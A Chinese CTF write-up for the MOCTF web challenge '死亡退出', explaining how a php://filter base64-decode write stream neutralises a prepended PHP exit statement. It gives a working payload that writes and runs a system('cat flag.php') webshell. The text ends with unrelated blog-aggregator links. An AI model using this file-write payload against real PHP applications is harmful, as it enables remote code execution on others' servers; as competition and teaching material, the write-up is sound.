MOCTF-Web-死亡退出
1、題目:
2、傳送門:http://119.23.73.3:5003/
代碼:
注:
.=詳解
file_put_contents() 函數把一個字符串寫入文件中
file_put_contents(file,data,mode,context)
3、代碼分析:
-
通過上傳字符串變量c,變量c連接<?php exit;?>破壞掉語句結構;同時變量c也需要寫入到變量filename這個文件中通過執行獲得flag。
-
這里就需要用到php://filter偽協議流來進行繞過。使用base64解碼的一個漏洞(base64解碼不能解碼<、?、空格、?、;、>等這幾個字符),然后就只會解碼phpexit,但base64解碼是以4個為一組進行解碼的,phpexit只有7個,所以需要添加一個字符構成八個字符,才能正常解碼,這里隨便一個字符就行,然后再連接這里我們需要執行獲取flag的命令,所以$c的pyaload為:$c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==(a后面的數值進行base64解碼為<?php system('cat flag.php');?>base64加密之后的字符),最后$c的值為:<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
-
然后就是利用php://filter偽協議了,file的payload為:file=php://filter/write=convert.base64-decode/resource=tmp.php
-
最終的payload為:c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php
-
Payload帶入源碼:
使用file=php://filter/write=convert.base64-decode/resource=tmp.php時,file的值<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==進行base64解碼時,刪除<、?、空格、?、;、>還剩52個字符,是phpexitaPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==,正好可以除以4,最后base64解碼后為:|{-ú<?php system('cat flag.php');?>,現在tmp.php中是|{-ú<?php system('cat flag.php');?>,所以可以執行里面的代碼,拿到flag
4、拿取flag
最查看源碼,得到flag:
總結
以上是生活随笔為你收集整理的MOCTF-Web-死亡退出的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 网上能办银行卡吗
- 下一篇: 各大银行存款利率2022最新利率,各大银